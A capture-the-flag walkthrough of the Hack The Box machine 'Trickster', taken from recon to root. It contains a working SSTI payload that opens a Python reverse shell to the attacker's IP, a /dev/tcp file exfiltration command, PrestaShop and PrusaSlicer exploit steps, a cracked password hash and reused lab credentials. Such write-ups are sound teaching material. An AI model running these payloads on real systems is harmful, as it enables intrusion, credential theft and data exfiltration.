Recon

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_  256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://trickster.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel

The nmap scan shows the usual Linux ports of 80 and 22. It also reveals the domain of the webserver as trickster.htb, which I add to my /etc/hosts file.

As a next step I use ffuf to enumerate potential subdomains of the website, while paying it a visit. Shortly after the fuzzing turns up the subdomain of shop.trickster.htb.

$ ffuf -u 'http://trickster.htb' -H "Host: FUZZ.trickster.htb" -w '/usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt' -fc 301
 
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://trickster.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt
 :: Header           : Host: FUZZ.trickster.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________
 
shop                    [Status: 403, Size: 283, Words: 20, Lines: 10, Duration: 29ms]

Foothold as www-data

The main website is rather uneventful and did not reveal any important information for compromising the machine.

Git repository

The subdomain on the other is a full blown webshop, which offers me a large attack surface with different type of user input fields. Wappalyzer did not identify the CMS/Shop-Framework so I also do some fuzzing of the directories and potentially files, which can tell me more about the shop.

This process find a Git repository in the web root, which from which I can dump even more sensitive information about the target.

$ ffuf -u http://shop.trickster.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/dirsearch.txt -fc 403
 
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://shop.trickster.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/dirsearch.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 403
________________________________________________
 
.git/description        [Status: 200, Size: 73, Words: 10, Lines: 2, Duration: 20ms]
.git/info/              [Status: 200, Size: 953, Words: 65, Lines: 17, Duration: 18ms]
.git/logs/              [Status: 200, Size: 1137, Words: 77, Lines: 18, Duration: 19ms]
.git/logs/refs          [Status: 301, Size: 333, Words: 20, Lines: 10, Duration: 16ms]
.git/info/exclude       [Status: 200, Size: 240, Words: 38, Lines: 7, Duration: 39ms]
.git/refs/              [Status: 200, Size: 1140, Words: 76, Lines: 18, Duration: 20ms]
.git/refs/tags          [Status: 301, Size: 333, Words: 20, Lines: 10, Duration: 17ms]
.git/                   [Status: 200, Size: 2884, Words: 191, Lines: 27, Duration: 84ms]
.git/refs/heads         [Status: 301, Size: 334, Words: 20, Lines: 10, Duration: 33ms]
.git/config             [Status: 200, Size: 112, Words: 11, Lines: 8, Duration: 108ms]
.git/branches/          [Status: 200, Size: 766, Words: 52, Lines: 16, Duration: 109ms]
.git/hooks/             [Status: 200, Size: 3850, Words: 226, Lines: 30, Duration: 109ms]
.git/logs/refs/heads    [Status: 301, Size: 339, Words: 20, Lines: 10, Duration: 105ms]
.git/index              [Status: 200, Size: 252177, Words: 733, Lines: 978, Duration: 37ms]
.git/COMMIT_EDITMSG     [Status: 200, Size: 20, Words: 3, Lines: 2, Duration: 138ms]
.git/objects/           [Status: 200, Size: 48574, Words: 3136, Lines: 273, Duration: 3460ms]
:: Progress: [12939/12939] :: Job [1/1] :: 350 req/sec :: Duration: [0:00:23] :: Errors: 4147 ::

To do exactly this I use the tool git-dumper, which seem to completely retrieve the source code for the website. Among the expected files is also an unusual admin directory called admin634ewutrx1jgitlooaj.

$ git-dumper http://shop.trickster.htb loot/git
...
[-] Fetching http://shop.trickster.htb/.git/objects/fd/faad2adc8219a055b1bb73d6995589c2ca3efb [200]
[-] Fetching http://shop.trickster.htb/.git/objects/ff/e5907b2f3ab36bf687d1f5a52448da5caf0f37 [200]
[-] Running git checkout .
Updated 1699 paths from the index
 
$ ls -la loot/git
total 232
drwxrwxr-x 4 kali kali   4096 Sep 25 18:30 .
drwxrwxr-x 3 kali kali   4096 Sep 25 18:30 ..
drwxrwxr-x 7 kali kali   4096 Sep 25 18:30 .git
-rw-rw-r-- 1 kali kali   1538 Sep 25 18:30 .php-cs-fixer.dist.php
-rw-rw-r-- 1 kali kali   5054 Sep 25 18:30 INSTALL.txt
-rw-rw-r-- 1 kali kali    522 Sep 25 18:30 Install_PrestaShop.html
-rw-rw-r-- 1 kali kali 183862 Sep 25 18:30 LICENSES
-rw-rw-r-- 1 kali kali    863 Sep 25 18:30 Makefile
drwxrwxr-x 8 kali kali   4096 Sep 25 18:30 admin634ewutrx1jgitlooaj
-rw-rw-r-- 1 kali kali   1305 Sep 25 18:30 autoload.php
-rw-rw-r-- 1 kali kali   2506 Sep 25 18:30 error500.html
-rw-rw-r-- 1 kali kali   1169 Sep 25 18:30 index.php
-rw-rw-r-- 1 kali kali   1256 Sep 25 18:30 init.php

CVE-2024-34716

Looking depper into the files I am able to figure out what framework is running on the server and a likely version,

INSTALL.txt
=== Requirements
 
To install PrestaShop 8, you need a web server running PHP 7.2+ and any flavor of MySQL 5.6+ (MySQL, MariaDB, Percona Server, etc.).
 
You can find more information on our System requirements (https://devdocs.prestashop.com/8/basics/installation/system-requirements/) page and on the System Administrator Guide (https://docs.prestashop-project.org/1-6-documentation/english-documentation/system-administrator-guide).

From here I go searching for vulnerabilities targeting PrestShop and CVEDetails has some promising ones listed.

Especially CVE-2024-34716 which also has a proof-of-concept available. Depending on when you did the machine, the functionality of the script might have changed a bit making exploitation slightly easier.

Initially the code errors out on my system since the author of the PoC chose ncat over nc for there listener. This can be easily changed by either installing ncat or editing the PoC.

exploit.py
    if response.status_code == 200:
        print(f"[X] Ncat is now listening on port 12345. Press Ctrl+C to terminate.")
        
        output = subprocess.call(["nc", "-lnvp", "12345"], shell=False)
        if b"Ncat: Connection from " in output:
            with print_lock:
                print("Stopping threads!")
            stop_event.set()
        else:
            print(f"DEBUG:: {output}")
    else:
        print(f"[!] Failed to send the message. Status code: {response.status_code} Reason: {response.reason}")

Now all that is left is to put the correct values into all the command line arguments and wait a short while for the reverse shell to connect back to me.

$ python3 exploit.py --url 'http://shop.trickster.htb' --email 'admin@trickster.htb' --local-ip '10.10.14.156' --admin-path 'admin634ewutrx1jgitlooaj'
[X] Starting exploit with:
        Url: http://shop.trickster.htb
        Email: admin@trickster.htb
        Local IP: 10.10.14.156
        Admin Path: admin634ewutrx1jgitlooaj
[X] Ncat is now listening on port 12345. Press Ctrl+C to terminate.
Serving at http.Server on port 5000
listening on [any] 12345 ...
GET request to http://shop.trickster.htb/themes/next/reverse_shell_new.php: 403
Request: GET /ps_next_8_theme_malicious.zip HTTP/1.1
Response: 200 -
10.129.110.9 - - [17/Nov/2024 17:18:32] "GET /ps_next_8_theme_malicious.zip HTTP/1.1" 200 -
Request: GET /ps_next_8_theme_malicious.zip HTTP/1.1
Response: 200 -
10.129.110.9 - - [17/Nov/2024 17:18:37] "GET /ps_next_8_theme_malicious.zip HTTP/1.1" 200 -
connect to [10.10.14.156] from (UNKNOWN) [10.129.110.9] 38452
Linux trickster 5.15.0-121-generic #131-Ubuntu SMP Fri Aug 9 08:29:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 16:18:47 up 15 min,  0 users,  load average: 0.10, 0.11, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Database Pillaging

After landing a shell as www-data on the system I proceed to scour configuration files and the local database server for additional credentials.

After grepping through the files I find a database username and password in the following file.

www-data@trickster:~/prestashop/app/config$ cat parameters.php
cat parameters.php
<?php return array (
  'parameters' =>
  array (
    'database_host' => '127.0.0.1',
    'database_port' => '',
    'database_name' => 'prestashop',
    'database_user' => 'ps_user',
    'database_password' => 'prest@shop_o',
    'database_prefix' => 'ps_',
    'database_engine' => 'InnoDB',
    'mailer_transport' => 'smtp',
    'mailer_host' => '127.0.0.1',

I use these credentials to log into the local MySQl server and dump the ps_employee table to gather two hashed passwords.

www-data@trickster:~$ mysql -u ps_user -pprest@shop_o -h 127.0.0.1 -D prestashop
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2669
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
 
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
 
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 
MariaDB [prestashop]> show tables;
...
MariaDB [prestashop]> select * from ps_employee;
select * from ps_employee;
+-------------+------------+---------+----------+-----------+---------------------+--------------------------------------------------------------+---------------------+-----------------+---------------+--------------------+------------------+----------------------+----------------------+----------+----------+-----------+-------------+----------+---------+--------+-------+---------------+--------------------------+------------------+----------------------+----------------------+-------------------------+----------------------+
| id_employee | id_profile | id_lang | lastname | firstname | email               | passwd                                                       | last_passwd_gen     | stats_date_from | stats_date_to | stats_compare_from | stats_compare_to | stats_compare_option | preselect_date_range | bo_color | bo_theme | bo_css    | default_tab | bo_width | bo_menu | active | optin | id_last_order | id_last_customer_message | id_last_customer | last_connection_date | reset_password_token | reset_password_validity | has_enabled_gravatar |
+-------------+------------+---------+----------+-----------+---------------------+--------------------------------------------------------------+---------------------+-----------------+---------------+--------------------+------------------+----------------------+----------------------+----------+----------+-----------+-------------+----------+---------+--------+-------+---------------+--------------------------+------------------+----------------------+----------------------+-------------------------+----------------------+
|           1 |          1 |       1 | Store    | Trickster | admin@trickster.htb | $2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/C | 2024-05-25 13:10:20 | 2024-04-25      | 2024-05-25    | 0000-00-00         | 0000-00-00       |                    1 | NULL                 | NULL     | default  | theme.css |           1 |        0 |       1 |      1 |  NULL |             5 |                        0 |                0 | 2024-09-25           | NULL                 | 0000-00-00 00:00:00     |                    0 |
|           2 |          2 |       0 | james    | james     | james@trickster.htb | $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm | 2024-09-09 13:22:42 | NULL            | NULL          | NULL               | NULL             |                    1 | NULL                 | NULL     | NULL     | NULL      |           0 |        0 |       1 |      0 |  NULL |             0 |                        0 |                0 | NULL                 | NULL                 | NULL                    |                    0 |
+-------------+------------+---------+----------+-----------+---------------------+--------------------------------------------------------------+---------------------+-----------------+---------------+--------------------+------------------+----------------------+----------------------+----------+----------+-----------+-------------+----------+---------+--------+-------+---------------+--------------------------+------------------+----------------------+----------------------+-------------------------+----------------------+
2 rows in set (0.000 sec)

I can recover james plaintext password by brute-forcing the hash against the rockyou wordlist.

$ john james.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alwaysandforever (?)
1g 0:00:00:12 DONE (2024-09-25 20:08) 0.07806g/s 2891p/s 2891c/s 2891C/s ayana..alkaline
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Shell as adam

Running the basic set of enumeration commands I found that Docker is installed and a container is running on the machine. Based on the output of ps this container is running a tool called changedetection.py.

james@trickster:~$ ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:a6:16:8f:9c  txqueuelen 0  (Ethernet)
        RX packets 99  bytes 5848 (5.8 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 14  bytes 588 (588.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
...SNIP...
 
james@trickster:~$ ps auxef
...SNIP...
root        1342  0.0  1.9 1977936 76600 ?       Ssl  16:06   0:01 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root        1344  0.0  0.7  84064 30904 ?        Ss   16:06   0:00 /usr/sbin/apache2 -k start
www-data    1346  1.2  1.0 1293216 42040 ?       Sl   16:06   1:52  \_ /usr/sbin/apache2 -k start
www-data    1347  1.2  1.0 1293064 41012 ?       Sl   16:06   1:51  \_ /usr/sbin/apache2 -k start
www-data    2862  1.1  1.0 1293240 42624 ?       Sl   16:19   1:41  \_ /usr/sbin/apache2 -k start
james      14100  0.0  0.2  17084  9592 ?        Ss   18:10   0:00 /lib/systemd/systemd --user LANG=en_US.UTF-8 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin NOTIFY_SOCKET=/run/sys
james      14101  0.0  0.0 169572  3948 ?        S    18:10   0:00  \_ (sd-pam)
root       17062  0.0  0.3 1238400 11964 ?       Sl   18:40   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id ae5c137aa8efc8eee17e3f5e2f93594b6bfc9ea2d7b350faba36e80d588aa47c -address /run/containerd/
root       17087  2.0  1.8 1300328 73972 ?       Ssl  18:40   0:00  \_ python ./changedetection.py -d /datastore

To further enumerate the container I use two short bash one-liners to do a ping sweep of the corresponding IP range and do a port scan afterwards. Finally a curl confirms that a webserver is listening on the identified port.

james@trickster:~$ for ip in $(seq 0 255); do ping -c 1 172.17.0.$ip; done
PING 172.17.0.0 (172.17.0.0) 56(84) bytes of data.
From 172.17.0.1 icmp_seq=1 Destination Host Unreachable
 
--- 172.17.0.0 ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
 
PING 172.17.0.1 (172.17.0.1) 56(84) bytes of data.
64 bytes from 172.17.0.1: icmp_seq=1 ttl=64 time=0.054 ms
 
--- 172.17.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.054/0.054/0.054/0.000 ms
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.050 ms
 
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.050/0.050/0.050/0.000 ms
 
james@trickster:~$ for i in $(seq 1 65535); do ( echo > /dev/tcp/172.17.0.2/$i) > /dev/null 2>&1 && echo $i "is open"; done
5000 is open
 
james@trickster:~$ curl 172.17.0.2:5000
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=/">/login?next=/</a>. If not, click the link.

CVE-2024-32651

To access the webserver from my attacker machine I use SSH to do some local port forwarding.

$ ssh -L 5000:172.17.0.2:5000 james@trickster.htb

Upon connecting to the webserver I am prompted to login, which I do by reusing james password. The login page also tells the exact version number of the software running in the container.

Based on the version number I identify CVE-2024-32651 and the accompanying PoC as the way forward.

The PoC however assumes that the target machine has an active internet connection since it sets the to be watched URL to a Subreddit. But since the exploit chains boils down to a single SSTI payload I exploited the vulnerability manually.

Given that I still have to watch an URL I stand up a local HTTP server on the target host with python3 -m http.server 8000. I than enter the URL and choose “Edit>Watch”

In the “Notifications” tab I set a valid target for a notification to be send to. If this way left empty no notifications would be generated and the exploit would not trigger.

In the “Notification Body” I enter the SSTI payload with my attacker machines IP address and the listening port.

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.14.156\",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/bash\")'").read()}}{% endif %}{% endfor %}

Now I create and modify an index.html within the webroot of my Python HTTP server and “recheck” my URL within ChangeDetection.io afterwards. This will trigger the SSTI and get me a shell as root within the Docker container.

Brotli Backup

Unintended Path

During the release week of this machine the password for the root user could be found in the command history within the container. This made all the following steps obsolete, but this path was soon patched.

Within the container I find the /datastore directory, which is part of the ChangeDetection Docker deployment. It is there that I also find two compressed backup files, which I transfer to my attacker machine for further analysis.

root@a4b9a36ae7ff:/# ls
ls
app  boot       dev  home  lib64  mnt  proc  run   srv  tmp  var
bin  datastore  etc  lib   media  opt  root  sbin  sys  usr
root@a4b9a36ae7ff:/# cd datastore
cd datastore
root@a4b9a36ae7ff:/datastore# ls -la
ls -la
total 56
drwxr-xr-x 6 root root  4096 Nov 17 16:54 .
drwxr-xr-x 1 root root  4096 Sep 26 11:03 ..
drwxr-xr-x 2 root root  4096 Aug 31 08:56 Backups
drwxr-xr-x 2 root root  4096 Sep 19 11:44 b86f1003-3ecb-4125-b090-27e15ca605b9
drwxr-xr-x 2 root root  4096 Sep 19 11:44 bbdd78f6-db98-45eb-9e7b-681a0c60ea34
drwxr-xr-x 2 root root  4096 Nov 17 16:33 c9ae6cee-fe5d-4d9b-aebe-2e7c71ab1fb5
-rw-r--r-- 1 root root    64 Aug 30 20:21 secret.txt
-rw-r--r-- 1 root root   155 Aug 30 20:25 url-list-with-tags.txt
-rw-r--r-- 1 root root    73 Aug 30 20:25 url-list.txt
-rw-r--r-- 1 root root 19609 Nov 17 16:54 url-watches.json
root@a4b9a36ae7ff:/datastore# cd Backups
cd Backups
root@a4b9a36ae7ff:/datastore/Backups# ls -la
ls -la
total 52
drwxr-xr-x 2 root root  4096 Aug 31 08:56 .
drwxr-xr-x 6 root root  4096 Nov 17 16:54 ..
-rw-r--r-- 1 root root  6221 Aug 31 08:53 changedetection-backup-20240830194841.zip
-rw-r--r-- 1 root root 33708 Aug 30 20:25 changedetection-backup-20240830202524.zip

Since my tool set is somewhat limited within the container I rely on basic Linux binaries to exfiltrate the files.

root@a4b9a36ae7ff:/datastore/Backups# cat changedetection-backup-20240830194841.zip > /dev/tcp/10.10.14.156/9002
 
kali@kali:~$ nc -l -p 9002 -q 1 > changedetection-backup-20240830194841.zip 

Looking at the contents of the ZIP file, I find a few text files and one with an (to me) unknown file extension .br.

$ 7z l changedetection-backup-20240830194841.zip

7-Zip 24.06 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-05-26
 64-bit locale=C.UTF-8 Threads:128 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 6221 bytes (7 KiB)

Listing archive: changedetection-backup-20240830194841.zip

--
Path = changedetection-backup-20240830194841.zip
Type = zip
Physical Size = 6221

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2024-08-31 09:50:47 D....            0            0  b4a8b52d-651b-44bc-bbc6-f9e8c6590103
2024-08-31 00:47:18 .....         2605         2605  b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br
2024-08-31 00:47:18 .....           51           51  b4a8b52d-651b-44bc-bbc6-f9e8c6590103/history.txt
2024-05-24 02:47:40 .....           64           51  secret.txt
2024-08-31 09:52:10 .....           74           65  url-list.txt
2024-08-31 09:51:58 .....          115          105  url-list-with-tags.txt
2024-08-31 09:52:47 .....        13691         1984  url-watches.json
------------------- ----- ------------ ------------  ------------------------
2024-08-31 09:52:47              16600         4861  6 files, 1 folders

A quick search tells me that this files was compressed using brotli and to be decompress the archive I will also have to install it on my machine. Doing do reveals database credentials for the user adam, that they also reused as their Linux user credentials. Allowing for SSH access to the machine.

$ brotli -d f04f0732f120c0cc84a993ad99decb2c.txt.br
 
$ ls
f04f0732f120c0cc84a993ad99decb2c.txt  f04f0732f120c0cc84a993ad99decb2c.txt.br  history.txt
 
$ cat f04f0732f120c0cc84a993ad99decb2c.txt
  This website requires JavaScript.
    Explore Help
    Register Sign In
                james/prestashop
              Watch 1
              Star 0
              Fork 0
                You've already forked prestashop
          Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
                main
          prestashop / app / config / parameters.php
            james 8ee5eaf0bb prestashop
            2024-08-30 20:35:25 +01:00
 
              64 lines
              3.1 KiB
              PHP
 
            Raw Permalink Blame History
 
                < ? php return array (
                'parameters' =>
                array (
                'database_host' => '127.0.0.1' ,
                'database_port' => '' ,
                'database_name' => 'prestashop' ,
                'database_user' => 'adam' ,
                'database_password' => 'adam_admin992' ,
                'database_prefix' => 'ps_' ,
                'database_engine' => 'InnoDB' ,
                'mailer_transport' => 'smtp' ,
                'mailer_host' => '127.0.0.1' ,

Shell as root

Unlike james as adam I am able to run a command using sudo.

adam@trickster:~$ sudo -l
Matching Defaults entries for adam on trickster:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User adam may run the following commands on trickster:
    (ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer
    
$ sudo /opt/PrusaSlicer/prusaslicer
DISPLAY not set, GUI mode not available.
 
PrusaSlicer-2.6.1+linux-x64-GTK2-202309060801 based on Slic3r (with GUI support)
https://github.com/prusa3d/PrusaSlicer
 
Usage: prusa-slicer [ ACTIONS ] [ TRANSFORM ] [ OPTIONS ] [ file.stl ... ]

Looking at “help” output of the prusaslicer I can identify the running version as 2.6.1. This than leads me to this exploit-db entry, which allows for command execution by manipulating the processed .3mf file.

Thankfully the machine also provides me with an example file /opt/PrusaSlicer/TRICKSTER.3mf, which I can modify to gain code execution. To edit the file I move it over to my attacker machine. Since those files are basically glorified ZIP archives I can either unzip/edit/rezip it in the CLI or use the GUI to do the same.

While editing the Metadata/Slic3r_PE.config file I make two changes:

  1. Fix an error in the output_filename_format that causes even a clean file to error out.
  2. Add my malicious command, which will get a SUID Bash binary in the post_process option.
Metadata/Slic3r_PE.config
; output_filename_format = j1ndoSH.gcode
; post_process = "cp /bin/bash /tmp/j1ndoSH; chmod +s /tmp/j1ndoSH"

Now all that is left is to execute prusaslicer through sudo and utilise my newly created SUID binary to gain a root shell on the machine.

adam@trickster:~$ sudo /opt/PrusaSlicer/prusaslicer -s exploit.3mf
10 => Processing triangulated mesh
10 => Processing triangulated mesh
20 => Generating perimeters
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
30 => Preparing infill
45 => Making infill
10 => Processing triangulated mesh
20 => Generating perimeters
10 => Processing triangulated mesh
20 => Generating perimeters
30 => Preparing infill
30 => Preparing infill
45 => Making infill
45 => Making infill
10 => Processing triangulated mesh
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
65 => Searching support spots
65 => Searching support spots
65 => Searching support spots
65 => Searching support spots
65 => Searching support spots
69 => Alert if supports needed
print warning: Detected print stability issues:
 
Loose extrusions
Shape-Sphere, Shape-Sphere, Shape-Sphere, Shape-Sphere
 
Collapsing overhang
Shape-Sphere, Shape-Sphere, Shape-Sphere, Shape-Sphere
 
Low bed adhesion
TRICKSTER.HTB, Shape-Sphere, Shape-Sphere, Shape-Sphere, Shape-Sphere
 
Consider enabling supports.
Also consider enabling brim.
88 => Estimating curled extrusions
88 => Estimating curled extrusions
88 => Estimating curled extrusions
88 => Estimating curled extrusions
88 => Estimating curled extrusions
88 => Generating skirt and brim
90 => Exporting G-code to j1ndoSH.gcode
Slicing result exported to j1ndoSH.gcode
adam@trickster:~$ ls -la /tmp/
total 1424
drwxrwxrwt 15 root   root      4096 Nov 17 17:20 .
drwxr-xr-x 20 root   root      4096 Sep 13 12:24 ..
drwx------  6 runner runner    4096 Nov 17 16:04 Crashpad
drwxrwxrwt  2 root   root      4096 Nov 17 16:03 .font-unix
drwxrwxrwt  2 root   root      4096 Nov 17 16:03 .ICE-unix
-rwsr-sr-x  1 root   root   1396520 Nov 17 17:20 j1ndoSH